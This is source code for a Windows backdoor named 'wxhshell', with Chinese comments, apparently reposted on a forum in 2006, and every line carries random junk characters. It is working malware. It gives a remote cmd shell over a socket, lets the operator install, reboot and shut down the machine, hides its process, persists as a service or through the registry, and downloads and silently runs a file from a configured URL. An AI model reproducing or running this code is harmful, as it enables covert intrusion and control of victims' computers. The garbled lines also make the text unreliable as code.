    switch(cmd[0]) { Q?AmOo-a  
  N$[$;Fm:  
  // 帮助 k=GG>]<i  
  case '?': { 9C t`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ud fe  
    break; ddVa.0Z!<  
  } G^"Vo x4  
  // 安装 7RDDdF E!  
  case 'i': { eiJ2NwR\w  
    if(Install()) wM_c48|d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <5=JE*s$NS  
    else <)*2LBF@]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *-s,. F+c  
    break; OiDhJ  
    } (Z5##dS3  
  // 卸载 @E.k/G!~Nb  
  case 'r': { 1 y}2+Kk  
    if(Uninstall()) #.[AK_S5&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8.bKb<y  
    else m?HZ;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P,=+W(s9}  
    break; q.2(OP>(  
    } wM[~2C=vx  
  // 显示 wxhshell 所在路径 bxK(9.  
  case 'p': { 'B0{U4?   
    char svExeFile[MAX_PATH]; |w}xl'>q  
    strcpy(svExeFile,"\n\r"); _tr<}PnZ  
      strcat(svExeFile,ExeFile); n41@iK2l  
        send(wsh,svExeFile,strlen(svExeFile),0); wW?,;B'74  
    break; XBQ\_2>  
    } #"fJa:IYG7  
  // 重启 d2s OYCKe  
  case 'b': { g]UBZ33y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^TB>.c@`*  
    if(Boot(REBOOT)) PM":Vd/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #y|V|nd  
    else { ?[x49Ux,P  
    closesocket(wsh); rw)kAe31  
    ExitThread(0); 0ult7s}  
    } /J)l/oI  
    break; aQ j*KMc  
    } rwIe qV{:  
  // 关机 i* R,QN)  
  case 'd': { fri0XxF  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mW%?>Z1=>d  
    if(Boot(SHUTDOWN)) kj5Q\vr)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .lhn;*Yi  
    else { l<(Y_PE:  
    closesocket(wsh); ~7!7\i,Y8\  
    ExitThread(0); v&FF|)$  
    } yk2!8  
    break; 97!>%d[0  
    } z'p:gv]  
  // 获取shell l8K5k:XCU3  
  case 's': { 27ckdyQx  
    CmdShell(wsh); X}P$emr7  
    closesocket(wsh); KNgH|5Pb  
    ExitThread(0); EliTFxp  
    break; Cc?TSZ8[  
  } \8O O)98'  
  // 退出 -)!> M>=s  
  case 'x': { Ch )dLPz@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l!E7A Kk8  
    CloseIt(wsh); #<( = }?  
    break; j<%])  
    } 2fIRlrA$  
  // 离开 (eCFWmO  
  case 'q': { ECa$vvK m  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %=j3jj[  
    closesocket(wsh); -VDo[Zy  
    WSACleanup(); nxQ?bk}*d  
    exit(1); ZWV|# c<G  
    break; mYB`)M*Y  
        } :"0J=>PH:  
  } b{DiM098  
  } UkCnqNvx  
/\mKY%kyh  
  // 提示信息 zT~B 6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `nR%Cav,U  
} t<:D@J]a  
  } #0b&^QL  
b4Y8N"hL%  
  return; pO<-.,  
} 6)\dBOz  
m xw dugr`  
// shell模块句柄 2W M\e lnA  
int CmdShell(SOCKET sock) u!N{y,7W)  
{ KRsAv^']  
STARTUPINFO si; I>h<b_y  
ZeroMemory(&si,sizeof(si)); y?[snrK G  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0h$GI"dR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )_zlrX  
PROCESS_INFORMATION ProcessInfo; RANPi\]  
char cmdline[]="cmd"; z41_oG7   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4"\ yf  
  return 0; =j0x.f Se  
} q&'Lbxc>c  
/.5;in  
// 自身启动模式 .V6-(d  
int StartFromService(void) E& 36H  
{ A CNfS9M_w  
typedef struct [AEBF2OIv  
{ TY;U2.Ud  
  DWORD ExitStatus; Bd bJ< Is  
  DWORD PebBaseAddress; FqA3  {  
  DWORD AffinityMask; D y6$J3 r  
  DWORD BasePriority; sPNfbCOz  
  ULONG UniqueProcessId; ( g :p5Rl  
  ULONG InheritedFromUniqueProcessId; E(<LvMiCa  
}   PROCESS_BASIC_INFORMATION; +V v+K(lh$  
z*~YLT&  
PROCNTQSIP NtQueryInformationProcess; $7I] `Jt  
_8K%`6!"Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sc`"P-J+vp  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kR.wOJ7'  
e{G_GycH  
  HANDLE             hProcess; PX".Km p.  
  PROCESS_BASIC_INFORMATION pbi; ApPy]IdwX  
QL"gWr`R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D_|B2gdZY  
  if(NULL == hInst ) return 0; d&:H&o)T!  
>Pe:I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P#GD?FUc  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {7Cx#Ewd  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >e5zrgV  
o}8{Bh^  
  if (!NtQueryInformationProcess) return 0; t\j!K2  
d+z[\i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^[h2%c$  
  if(!hProcess) return 0; 2xmk,&s  
HOYq?40.R  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; nYv#4*  
^6/j_G  
  CloseHandle(hProcess); "2n;3ByR  
L9IGK<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [j6~}zu@  
if(hProcess==NULL) return 0; n~z\?Y=*  
G=M] 8+h  
HMODULE hMod; !awh*Xj6  
char procName[255]; YaFcz$GE_  
unsigned long cbNeeded; -oBI+v&  
% mn />  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rb_Z5T  
 :q2YBa  
  CloseHandle(hProcess); K, (65>86;  
}(i(Ar-  
if(strstr(procName,"services")) return 1; // 以服务启动 Mps *}9  
i|2$8G3  
  return 0; // 注册表启动 'ND36jHcRD  
} FuP}Kec  
F%6*Df;cSe  
// 主模块 #0MK(Ut/  
int StartWxhshell(LPSTR lpCmdLine) `6 Y33bQ  
{ *M!kA65'  
  SOCKET wsl; `ENP=kL(+  
BOOL val=TRUE; ./maY1>T  
  int port=0; 9EgP9up{6!  
  struct sockaddr_in door; I{n;4?  
jW5iqU"{*  
  if(wscfg.ws_autoins) Install(); p?myuNd[  
q@Kk\m  
port=atoi(lpCmdLine); @[r={s\  
y/4ny,s"  
if(port<=0) port=wscfg.ws_port; WEa>)@  
(-(*XNC  
  WSADATA data; CV^0.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]xq::a{Oy  
ko[TDh$T5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   cb+y9wA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r=csi  
  door.sin_family = AF_INET; QP\yaPE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \.>.c g  
  door.sin_port = htons(port); )*[ ""&  
AUAI3K?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d7~j^v)=^  
closesocket(wsl); 9y+[o  
return 1; _om[VKJd  
} w??c1)  
nUqy1(  
  if(listen(wsl,2) == INVALID_SOCKET) { N#Ag'i4HF  
closesocket(wsl); GoeIjuELR  
return 1; k}B DA|\s  
} 7Dl%UG]  
  Wxhshell(wsl); <ZrFOb  
  WSACleanup(); hPPB45^  
8IWw jyRr  
return 0; *CUdGI&  
vv h.@f  
} aYj%w  
XM!M%.0WS  
// 以NT服务方式启动 h*'d;_(,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "]<}Hy  
{ ]31$KBC  
DWORD   status = 0; F50 JJZ  
  DWORD   specificError = 0xfffffff; px [~=$F  
)VY10 R)$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5+y`P$K@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5Bd(>'ig_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; WD;)VsP  
  serviceStatus.dwWin32ExitCode     = 0; R92R}=G!  
  serviceStatus.dwServiceSpecificExitCode = 0; K`gc 4:A  
  serviceStatus.dwCheckPoint       = 0; J 9a $AU*  
  serviceStatus.dwWaitHint       = 0; {5 Kz'FT  
Qtnv#9%Vi  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !w=,p.?V=  
  if (hServiceStatusHandle==0) return; P!>g7X  
3uO8v{`  
status = GetLastError(); $NCm;0\B|  
  if (status!=NO_ERROR) P CsK()  
{ Cgo XZX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L<E/,IdE  
    serviceStatus.dwCheckPoint       = 0; poY8 )2  
    serviceStatus.dwWaitHint       = 0; qL>v&Rd<  
    serviceStatus.dwWin32ExitCode     = status; ' fl(N2t  
    serviceStatus.dwServiceSpecificExitCode = specificError; RO$*G jQd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ! OfO:L7-  
    return; paYz[Xq  
  } [)iN)$Mv  
Fo LDMx(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; '8={ sMy  
  serviceStatus.dwCheckPoint       = 0; Fva]*5  
  serviceStatus.dwWaitHint       = 0; &[)D]UL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9F)W19i.  
} uH] m]t  
]gHLcr3  
// 处理NT服务事件,比如:启动、停止 4L $};L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) i]@c.Q iFN  
{ YR8QO-7 .)  
switch(fdwControl) wKLN:aRF2  
{ .> ,Z k S  
case SERVICE_CONTROL_STOP: %\l0-RA@<  
  serviceStatus.dwWin32ExitCode = 0; &&*wmnWCS{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Y)v%  
  serviceStatus.dwCheckPoint   = 0; K]MzP|T,  
  serviceStatus.dwWaitHint     = 0; Uk|9@Auav  
  { hvL6zCi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `{WCrw6)  
  } 1V\1]J/  
  return; N&,"kRFFo  
case SERVICE_CONTROL_PAUSE: {~"Em'}J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XJ _%!  
  break; ZgK@Fl*k  
case SERVICE_CONTROL_CONTINUE: tB !|p6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; G-s a L*  
  break; cY^Y!.,  
case SERVICE_CONTROL_INTERROGATE: %WmZ ]@M  
  break; s1v{~xP  
}; Qv74?B@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); | 4%v"U  
} >LCjtm\  
]svw CPu C  
// 标准应用程序主函数 zM)M_L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I>!|3ElT  
{ vo.EM1x  
hOV_Oqe4?  
// 获取操作系统版本 1k`|[l^  
OsIsNt=GetOsVer(); <%(f9j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7%X+O8  
fA;x{0CAMX  
  // 从命令行安装 m9uUDq#GJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); 75PS^5T,  
oX2r?.j#M  
  // 下载执行文件 )y5iH){ !  
if(wscfg.ws_downexe) { gMCy$+?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a3*.,%d  
  WinExec(wscfg.ws_filenam,SW_HIDE); _5Bu [I  
} <)"iL4 kDI  
^=3 ^HQ'Zm  
if(!OsIsNt) { sM<:C  
// 如果时win9x,隐藏进程并且设置为注册表启动 miWw6!()  
HideProc(); +I?Qg  
StartWxhshell(lpCmdLine); E:%>0FE  
} Jr|K>  
else YALyZ.d  
  if(StartFromService()) w:n(pLc<  
  // 以服务方式启动 _%XbxP6rH  
  StartServiceCtrlDispatcher(DispatchTable); eNHpgj  
else "ngSilH?D  
  // 普通方式启动 [ +yGDMLs  
  StartWxhshell(lpCmdLine); ,CN#co  
?#x'_2  
return 0; wbo{JQ  
}
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只看该作者 1 发表于: 2006-10-10
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